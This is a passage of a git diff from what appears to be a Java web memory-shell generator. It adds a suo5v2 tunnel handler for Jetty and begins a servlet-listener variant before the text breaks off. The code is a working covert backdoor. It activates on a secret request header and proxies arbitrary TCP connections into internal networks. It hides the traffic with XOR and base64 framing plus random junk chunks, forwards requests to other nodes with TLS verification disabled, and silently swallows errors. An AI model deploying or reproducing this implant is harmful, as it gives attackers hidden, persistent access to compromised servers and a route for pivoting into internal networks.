2025/12/9 + */ +public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2JettyHandler() { + } + + public Suo5v2JettyHandler(InputStream in, OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2JettyHandler(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object baseRequest = null; + Object request = null; + Object response = null; + if (args.length == 4) { + Object arg4 = args[3]; + baseRequest = args[1]; + if (arg4 instanceof Integer) { + // jetty6 + request = args[1]; + response = args[2]; + } else { + request = args[2]; + response = args[3]; + } + } else { + // ee10 + request = args[0]; + response = args[1]; + } + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + if (baseRequest != null) { + baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + } + new Suo5v2JettyHandler().process(request, response); + return true; + } + } catch (Throwable ignored) { + } + return false; + } + + private void process(Object request, Object response) { + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(request, response, dataMap, tunId, sid); + + break; + case 0x01: + setBypassHeader(response); + processFullStream(request, response, dataMap, tunId); + break; + case 0x02: + setBypassHeader(response); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(request, response, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + response.getClass().getMethod("setStatus", int.class).invoke(response, 403); + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(response, processTemplateStart(response, new String(sidData)), dirySize); + do { + processHalfStream(request, response, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(response, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(response, new String(sidData))); + + do { + processClassic(request, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + response.getClass().getMethod("setContentLength", int.class).invoke(response, baos.size()); + writeAndFlush(response, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable e) { + } finally { + + } + } + + private void setBypassHeader(Object resp) throws Exception { + resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, BUF_SIZE); + resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(Object resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(Object req, Object resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + pipeStream(conn.getInputStream(), out, false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(Object req, Object resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.getClass().getMethod("setContentLength", int.class).invoke(resp, baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(Object req, Object resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = (InputStream) req.getClass().getMethod("getInputStream").invoke(req); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + + Suo5v2JettyHandler p = new Suo5v2JettyHandler(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(Object req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(Object resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + out.write(data); + if (dirtySize != 0) { + + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.getClass().getMethod("flushBuffer").invoke(resp); + } + + private byte[] performCreate(Object request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2JettyHandler(tunId, 1)).start(); + new Thread(new Suo5v2JettyHandler(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(Object request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(Object request, String rUrl, byte[] body) throws Exception { + String method = (String) request.getClass().getMethod("getMethod").invoke(request); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = (Enumeration) request.getClass().getMethod("getHeaderNames").invoke(request); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { + conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, (String) request.getClass().getMethod("getHeader", String.class).invoke(request, k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + private int toOffset(byte[] bs) { + if (bs == null || bs.length != 4) { + return 0; + } + try { + bs = base64UrlDecode(new String(bs)); + return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF); + } catch (Exception e) { + + return 0; + } + } + + private String getOffset(HttpServletRequest request) { + String cookieValue = request.getHeader("Cookie"); + if (cookieValue != null && cookieValue.length() > 0) { + ArrayList cookieVals = cookieValues(cookieValue); + for (int i = 0; i < cookieVals.size(); i++) { + String val = (String) cookieVals.get(i); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + } + + Enumeration headerNames = request.getHeaderNames(); + while (headerNames != null && headerNames.hasMoreElements()) { + String headerName = (String) headerNames.nextElement(); + String val = request.getHeader(headerName); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + + return null; + } + + private byte[] is_valid(String data, int sum) { + try { + byte[] result = base64UrlDecode(data); + if (result.length < 6) { + return null; + } else { + int i = result.length - 2; + int j = result.length - 3; + int p = result.length - 5; + int q = result.length - 6; + boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum; + return valid ? result : null; + } + } catch (Exception var8) { + return null; + } + } + + private boolean isOdd(int i) { + return (i & 1) == 1; + } + + private int toUInt(byte x) { + return x & 255; + } + + public static String md5(byte[] content) { + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + } catch (NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + byte[] md5Bytes = md.digest(content); + // no String.format in java1.4 + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < md5Bytes.length; i++) { + byte b = md5Bytes[i]; + int value = b & 0xFF; + if (value < 16) { + sb.append('0'); + } + sb.append(Integer.toHexString(value)); + } + return sb.toString(); + } + + private ArrayList cookieValues(String cookieValue) { + ArrayList values = new ArrayList(); + String[] cookiePairs = cookieValue.split(";"); + + for (int i = 0; i < cookiePairs.length; i++) { + String pair = cookiePairs[i]; + String[] keyValue = pair.split("=", 2); + if (keyValue.length >= 2) { + values.add(keyValue[1].trim()); + } + } + + return values; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java new file mode 100644 index 00000000..c209feef --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java @@ -0,0 +1,1183 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import javax.net.ssl.*; +import javax.servlet.ServletRequest; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.ServletResponse; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.*; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2025/12/9 + */ +public class Suo5v2Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2Listener() { + } + + public Suo5v2Listener(InputStream in, 